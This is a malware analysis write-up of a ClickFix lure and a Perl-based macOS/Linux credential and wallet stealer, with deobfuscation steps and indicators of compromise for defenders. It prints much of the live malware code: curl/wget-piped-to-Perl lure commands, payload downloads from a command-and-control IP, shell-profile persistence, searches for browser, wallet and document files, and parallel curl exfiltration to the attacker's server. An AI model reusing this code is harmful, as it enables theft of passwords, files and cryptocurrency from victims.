Perl based macOS/linux Stealer By Randy McEoin Published: 2025-07-20 · Archived: 2026-04-02 10:59:27 UTC Summary A post on X about a ClickFix targeting linux lead to the discovery of a seemingly undocumented Perl-based macOS/linux stealer. Here I will: dig into the ClickFix Javascript that targets not just Windows, but macOS and Linux deobfuscate the Perl delivered by the ClickFix describe much of the Perl stealer Pearl Stealer As I have not found this stealer described anywhere else, it seems it needs a name. Unless it turns out that this is already known by another name or it’s being sold under a name, I’m going to give it the name Pearl Stealer with the obvious reference to Perl the primary language used by the stealer. Meet the Pearl Stealer Linux Clickfix X post https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 1 of 20 This research was inspired by a post on X about a Linux ClickFix. https://x.com/solostalking/status/1946058071928610950 In the screenshot shared by @solostalking is a website showing a typical ClickFix UI, but targeting a linux victim. This was the first I’d seen a ClickFix designed for linux. ClickFix The website was dedicated to ClickFix. It did not appear to be an infected legitimate site but instead one purpose built for ClickFix. There must be some other email or webpage the victim would have come from in order to get to https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 2 of 20 this page. Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux. let detectOS = "unknown"; if (navigator.userAgent.indexOf("Win") != -1) { detectOS = "win"; } if (navigator.userAgent.indexOf("Mac") != -1) { detectOS = "mac"; } if (navigator.userAgent.indexOf("Linux") != -1) { detectOS = "linux"; } The X post showed the linux instructions. Here’s also the macOS instructions. ClickFix checkbox Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard. Here is the Javascript that would perform that, with just a touch of defanging. We can see that the macOS and linux scripts curl/wget from same host with a difference in path based on platform. https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 3 of 20 if (detectOS == "win") { copyTextToClipboard("powershell -nop -w h -ep bypass -Command \"(&((-join('S','tart','-B','itsTransfer'))) (-j } else if (detectOS == "mac") { copyTextToClipboard("nohup bash -c \"curl -sL cloudflare.blazing-cloud[.]com/mac/verify/captcha/" + userId + " } else if (detectOS == "linux") { copyTextToClipboard("sh -c 'wget -qO- cloudflare.blazing-cloud[.]com/linux/verify/captcha/" + userId + " | per } On macOS when pasting the malicious script into the Terminal, the malicious part is cleverly not displayed due to the series of newlines. ClickFix terminal Socket for userId Both the macOS and linux next stage downloads require a userId . The main webpage uses Socket.IO to issue a join command to retreive this victim’s assigned userId . let userId = localStorage.getItem("id"); socket.on("connect", () => { https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 4 of 20 console.log("connected"); if (!userId) { socket.emit("join", null, _0x56c07a => { localStorage.setItem("id", _0x56c07a); userId = _0x56c07a; }); } else { socket.emit("join", userId, () => {}); } }); So for example during one sandboxing pass the following was observed in the network requests. http://cloudflare.blazing-cloud[.]com/mac/verify/captcha/dj5fbdevxtib Cross referencing that with the Javascript that performs the copyTextToClipboard() , we can deduce that the userId for that session was dj5fbdevxtib . Deobfuscating Perl The payload from the cloudflare.blazing-cloud[.]com host is piped to Perl. If we instead manually wget it, we end up with the initial Perl payload. Initial Perl payload The Perl is obfuscated, but it’s not too difficult to deobfuscate. First, replace the eval eval with a single print , the file will look like this: https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 5 of 20 ^M our $user_id = "dj5fbdevxtib"; print '"'.^M ^M On a sandboxed linux with network disabled, we can run the modified script to find out what that gobbledygook is. Perl payload modified The output from the modified test perl prints different looking gobbledygook which starts and ends with double quotes. And we can see regular backslashes in front of certain characters like double-quotes and dollar signs. This looks like an escaped string. So we need to print this in order to get the escaped items unescaped. Send the output to another file to tweak. Then edit the new file. $ perl dj5fbdevxtib-test1.pl > dj5fbdevxtib-test2.pl $ vim dj5fbdevxtib-test2.pl We can see that it would unpack the gobbledygook, then eval it. That would be dangerous to do. Perl eval unpack (DANGEROUS) With just a minor tweak, we can instead eval a print of the unpacked gobbledygook. This is a subtle difference and if we goofed it up, it might actually run the malware. Thus we do this in a virtual sandbox with no network. https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 6 of 20 Perl eval print (SAFE) Running the eval print version we get a mostly deobfuscated Perl script. Perl payload mostly deobfuscated There are still escaped strings. No doubt there’s Perl way to do this, but Python is the way I solve problems now. Whipping up a quick Python unescape script will do the trick. This is what I landed on. import sys if __name__ == "__main__": for line in sys.stdin: line = line.rstrip() line = line.replace(r'\.', '.') line = line.replace(r'\$', '$') line = line.replace(r'\@', '@') https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 7 of 20 line = line.encode('latin1').decode('unicode_escape').encode('latin1').decode('utf-8') print(line) Using that we get a nice clean Perl. $ perl dj5fbdevxtib-test2.pl | python3 unescape.py > dj5fbdevxtib-deobfuscated.pl Voilà! We now have the Perl script fully deobfuscated. And we’re in luck, it has all the original variable names. As we’ll see this is a complete Perl-based stealer that targets macOS or linux. Perl deobfuscated Stealer breakdown First thing of note is the IP address that we’ll see used to retreive additional payloads, API calls, and where stolen data will be POST’d to. https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 8 of 20 my $ip = "213.108.198.227"; It downloads two payloads from the IP above: parallel and system.pl . These are saved in the victim’s home directory with a beginning dot so that in many circumstances it will be hidden. my $ua = LWP::UserAgent->new; $ua->get("http://$ip/parallel", ":content_file" => "$ENV{HOME}/.parallel"); system("chmod +x $ENV{HOME}/.parallel"); $ua->get("http://$ip/system.pl", ":content_file" => "$ENV{HOME}/.system.pl"); system("chmod +x $ENV{HOME}/.parallel"); Parallel is a standard GNU tool to run multiple shell jobs in parallel. system.pl creates a C2 channel that allows the threat actor to execute commands on the victim’s machine. Next if operating system does not contain the word darwin , then it will also download it’s own curl command to use instead of the OS provided curl . if ($^O !~ /darwin/) { $ua->get("http://$ip/curl", ":content_file" => "$ENV{HOME}/.curl"); system("chmod +x $ENV{HOME}/.curl"); } Of note is how the stealer uses $^O to determine if the system is macOS or linux. On Ubuntu, the value is simply linux . $ perl -e 'print($^O)' linux On macOS 10.15, the value is darwin . $ perl -e 'print($^O)' darwin Next it curl’s the C2 with the path /start_process_data to let it know it has started up. The server will respond with OK which just goes to /dev/null . if ($^O =~ /darwin/) { system("curl -v -m 120 --retry 8 "http://$ip/start_process_data" >/dev/null 2>&1"); } else { https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 9 of 20 system(""$ENV{HOME}/.curl" -v -m 120 --retry 8 "http://$ip/start_process_data" >/dev/null 2>&1"); } The next section uses api.ipify.org to try to get the victim’s current external IP. If that succeeds, it registers that external IP with the C2 on port 8080 with path /get_ip/ . sub is_connected_or_unreachable { my $ip = shift; my $curl = ($^O =~ /darwin/) ? "curl" : ""$ENV{HOME}/.curl""; my $current_ip = `$curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null`; chomp($current_ip); return 1 unless $current_ip; my $response = `$curl -s --connect-timeout 3 "http://$ip:8080/get_ip/$current_ip" 2>/dev/null`; return 1 if $?; chomp($response); return ($response eq "connected") ? 1 : 0; } if (!is_connected_or_unreachable($ip)) { my $system_path = "$ENV{HOME}/.system.pl"; system("perl $system_path &"); } Persistence for linux Next, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the downloaded system.pl . if ($^O !~ /darwin/) { my $home = $ENV{HOME}; my $profile_path = $home . "/.profile"; my $line_to_add = "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null"; open(my $profile_path_file, "<", $profile_path) or die "Cannot open $profile_path: $!"; my $found = 0; while (my $line = <$profile_path_file>) { chomp $line; if ($line =~ m|.system.pl|) { $found = 1; last; https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 10 of 20 } } close($profile_path_file); if (!$found) { open(my $profile_path_file, ">>", $profile_path) or die "Cannot append to $profile_path: $!"; print $profile_path_file " " . $line_to_add . " "; close($profile_path_file); } } else { } Everything!! The script uses a file named $ENV{HOME}/everything.txt to track every file it thinks might be interesting for exfiltration. Perhaps in case the stealer had run previously and crashed prior to finishing and removing this file, it starts by deleting it. unlink("$ENV{HOME}/everything.txt"); Persistance for all Further on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile scripts. my $home = $ENV{HOME}; append_if_not_exists("$home/.zshrc", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null"); append_if_not_exists("$home/.bashrc", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null"); append_if_not_exists("$home/.bash_profile", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null" Ask for password on macOS On macOS, the user is prompted to provide their password. Besides uploading the password to the C2, this will be used to run sudo to install a system level script for persistence. It creates and runs a Perl script named /tmp/pw_script_$$.pl , where $$ is the PID. https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 11 of 20 The beginning of the pw_script The pw_script uses AppleScript to prompt the victim to provide their local OS password. It takes that password, creates a file that contains it, then uploads it to the C2 server as a file named password.txt . Perl to upload password Next, it creates a Perl script named /tmp/install_$$.pl to be run using sudo with the victim provided password. https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 12 of 20 install script The install script creates a bash script in the victim’s home directory named Apple Inc. which is used to launch the already downloaded system.pl . Next it creates two arrays for candidate macOS browser paths and wallet paths. @browser_paths = ( "$app_support/Google/Chrome", "$app_support/BraveSoftware/Brave-Browser", "$app_support/Microsoft Edge", "$app_support/Vivaldi", "$app_support/Yandex/YandexBrowser", "$app_support/com.operasoftware.Opera", "$app_support/com.operasoftware.OperaGX", "$app_support/Google/Chrome Beta", "$app_support/Google/Chrome Canary", "$app_support/Google/Chrome Dev", "$app_support/Arc/User Data", https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 13 of 20 "$app_support/CocCoc/Browser" ); @wallet_paths = ( "$ENV{HOME}/Exodus/exodus.wallet", "$ENV{HOME}/Coinomi/wallets", "$ENV{HOME}/Monero/wallets", "$ENV{HOME}/Guarda/Local Storage/leveldb", "$ENV{HOME}/atomic/Local Storage/leveldb", "$ENV{HOME}/Ledger Live", "$ENV{HOME}/Bitcoin/wallets", "$ENV{HOME}/Litecoin/wallets", "$ENV{HOME}/DashCore/wallets", "$ENV{HOME}/Dogecoin/wallets", "$ENV{HOME}/@trezor/suite-desktop", "$ENV{HOME}/.electrum/wallets", "$ENV{HOME}/.walletwasabi/client/Wallets", "$ENV{HOME}/.electrum-ltc/wallets", "$ENV{HOME}/.electron-cash/wallets", "$ENV{HOME}/@tonkeeper/desktop/config.json", "$ENV{HOME}/Binance/app-store.json", "$ENV{HOME}/discord/Local Storage", "$ENV{HOME}/discord/Local State", "$ENV{HOME}/Steam/config", "$ENV{HOME}/Telegram Desktop/tdata", "$ENV{HOME}/OpenVPN Connect/profiles", "$ENV{HOME}/.config/filezilla", "$app_support/Exodus/exodus.wallet", "$app_support/Coinomi/wallets", "$app_support/Monero/wallets", "$app_support/Guarda/Local Storage/leveldb", "$app_support/atomic/Local Storage/leveldb", "$app_support/Ledger Live", "$app_support/Bitcoin/wallets", "$app_support/Litecoin/wallets", "$app_support/DashCore/wallets", "$app_support/Dogecoin/wallets", "$app_support/@trezor/suite-desktop", "$app_support/@tonkeeper/desktop/config.json", "$app_support/Binance/app-store.json", "$app_support/discord/Local Storage", "$app_support/discord/Local State", "$app_support/Steam/config", "$app_support/Telegram Desktop/tdata", "$app_support/OpenVPN Connect/profiles" ); https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 14 of 20 Back to linux Next if running linux, it downloads a binary named data_extracter from the C2 and executes it. my $home = $ENV{HOME}; system("$home/.curl -sL http://$ip/data_extracter -o $home/.data_extracter && chmod +x $home/.data_extracter && When running the data_extracter it provides $identifier as the argument which was previously constructed as ${timestamp}_${uuid} . An example $identifier would be 20-Jul-14:11_ea9ccf57-17bc-40fd-8d07- 3154ead9fd71 . data_extracter is a compiled Python script. When run in a sandbox it prompted for a password for a new keyring. new keyring Also noticed when running without an argument, it crashed and revealed that it was originally a Python script named data_extracter.py . https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 15 of 20 traceback When run in the sandbox with a well-formed identifier argument, besides prompting for a new keyring password, it printed that it checked several browsers. It crashed because it attempted to execute a non-existant .curl . data_extracter Interesting files inventory For both macOS and linux, it performs a find for a variety of file extensions within home folders that are standard for Ubuntu. It appends the names of these files to a file named everything.txt . It does not gather these files just yet. my $file_types = "\( -name "*.txt" -o -name "*.docx" -o -name "*.rtf" -o -name "*.aar" -o " . "-name "*.zip" -o -name "*.rar" -o -name "*.doc" -o -name "*.wallet" -o " . "-name "*.keys" -o -name "*.key" -o -name "*.mp3" -o -name "*.m4a" -o " . "-name "*.jpg" -o -name "*.png" -o -name "*.jpeg" -o -name "*.pdf" -o " . "-name "*.xlsx" -o -name "*.asc" -o -name "*.conf" -o -name "*.dat" -o " . "-name "*.json" -o -name "*.kdbx" -o -name "*.ovpn" -o -name "*.pem" -o " . "-name "*.ppk" -o -name "*.rdp" -o -name "*.sql" -o -name "*.xls" \)"; system("find "$ENV{HOME}/Desktop" "$ENV{HOME}/Downloads" "$ENV{HOME}/Pictures" "$ENV{HOME}/Documents" " . "-maxdepth 3 -type f $file_types -size -5M -print >> "$ENV{HOME}/everything.txt""); Browser file inventory https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 16 of 20 For both macOS and linux, it rummages through a variety of browser paths. It looks for Chromium based browser files like Cookies and Login Data . For Firefox, it looks for files like cookies.sqlite and logins.json . It looks for 266 different extension ids. At this point it is not exfiltrating any of this data. Instead it just logs each file in the everything.txt file. system("find "$profile_path" -maxdepth 1 -type f \( " . "-name "Web Data" -o -name "History" -o -name "Cookies" -o -name "Login Data" " . "\) -print >> "$ENV{HOME}/everything.txt""); foreach my $ext_id (@extension_ids) { my $ext_dir = "$profile_path/Local Extension Settings/$ext_id"; if (-d $ext_dir) { system("find "$ext_dir" -type f -print >> "$ENV{HOME}/everything.txt""); } } Wallet file inventory Next it searches through any potential crypto wallet folders and logs any files found to everything.txt . foreach my $wallet_path (@wallet_paths) { if (-d $wallet_path) { system("find "$wallet_path" -type f -print >> "$ENV{HOME}/everything.txt""); } elsif (-f $wallet_path) { open(my $fh, ">>", "$ENV{HOME}/everything.txt") or die "Can't open file: $!"; print $fh "$wallet_path "; close $fh; } } Exfiltration After finding all interesting files, the script finally exfiltrates all the files specified in $ENV{HOME}/everything.txt . It does this using the downloaded parallel tool. if ($^O =~ /darwin/) { system("cat "$ENV{HOME}/everything.txt" | "$ENV{HOME}/.parallel" -j 50 'folder=$(dirname {}) && curl -v -m 120 --retry 8 -F file=@{} -F "dirPath=$folder" $server' >/dev/null 2>&1"); } else { system("cat "$ENV{HOME}/everything.txt" | "$ENV{HOME}/.parallel" -j 50 'folder=$(dirname {}) && https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 17 of 20 "$ENV{HOME}/.curl" -v -m 120 --retry 8 -F file=@{} -F "dirPath=$folder" $server' >/dev/null 2>&1"); } Instead of uploading each file one by one, or creating a single large archive of the complete set of files, parallel is used to create at most 50 jobs that run in parallel to optimize the upload efficiency. This means there will be 50 instances of curl each uploading a single file. When an individual curl job is done, another curl job is initiated with the next file. $server was defined at the beginning of the script and defines a unique identifier for this victim. So all the exfiltrated files will be uploaded to the C2 server at the path /util/upload_data/$identifier . my $identifier = "${timestamp}_${uuid}"; my $server = "http://$ip/util/upload_data/$identifier"; After all the files have been exfiltrated it lets the C2 know by curl’ing the C2 path /data_processed/$identifier . if ($^O =~ /darwin/) { system("curl -v -m 120 --retry 8 "http://$ip/data_processed/$identifier" >/dev/null 2>&1"); } else { system(""$ENV{HOME}/.curl" -v -m 120 --retry 8 "http://$ip/data_processed/$identifier" >/dev/null 2>&1"); } macOS Notes Export Next, on macOS it creates an AppleScript named /tmp/simple_notes_export.applescript which is used to export all Notes and attachments to a folder named NotesExport . https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 18 of 20 upper portion of notes export If the AppleScript successfully creates the NotesExport folder, that folder is exfiltrated using parallel and curl with the same method used earlier. After that is complete a curl to the C2 at path /notes_processed/$identifier is performed. system("curl -v -m 120 --retry 8 "http://$ip/notes_processed/$identifier" >/dev/null 2>&1"); Triage A sandboxing of the initial URL with Triage yielded a 8 out of 10 threat. No detection of a stealer was made. https://tria.ge/250719-yctzgagj2x IOCs www.madeinci[.]ci (ClickFix) -> https://www.madeinci[.]ci/socket.io/?EIO=4&transport=websocket -> https://cloudflare.blazing-cloud[.]com/mac/verify/captcha/{userId} https://cloudflare.blazing-cloud[.]com/linux/verify/captcha/{userId} Files Downloaded http://213.108.198[.]227/parallel http://213.108.198[.]227/system.pl http://213.108.198[.]227/curl http://213.108.198[.]227/fileicon.tar.gz http://213.108.198[.]227/data_extracter API endpoints https://blazing-cloud[.]com/mac/done/$main::user_id http://213.108.198[.]227/start_process_data http://213.108.198[.]227:8080/get_ip/$current_ip http://213.108.198[.]227/util/upload_data/$identifier http://213.108.198[.]227/data_processed/$identifier http://213.108.198[.]227/notes_processed/$identifier Hashes https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 19 of 20 50bc21ca2b8fcfd4d46d51d94ab1ac4450a25167a1607074695a7b048ce3c1b3 dj5fbdevxtib eafa12df62f778180984cdbb510dabf8a3ad36a3d2cd250dad0ee12cdca1286f dj5fbdevxtib-deobfuscated.pl 05c922345ab0113c55824a1b2c658b0149a88c4cf4fecc01bf2409bfd81bbca1 parallel 7d3d2d0f17a5ddd1e9c32ad611a8c00bbd53088734784726cd4c6dcd44248a37 system.pl d18aa1f4e03b50b649491ca2c401cd8c5e89e72be91ff758952ad2ab5a83135d curl 2f52ced92662bfc025db92787435e0d3f73469fe888973e62c8b5bd830e08e62 fileicon.tar.gz 0d904998d082a51c27c05a23cd62b2f5f030a511af911110a814afffbe3fd1e4 data_extracter Source: https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html Page 20 of 20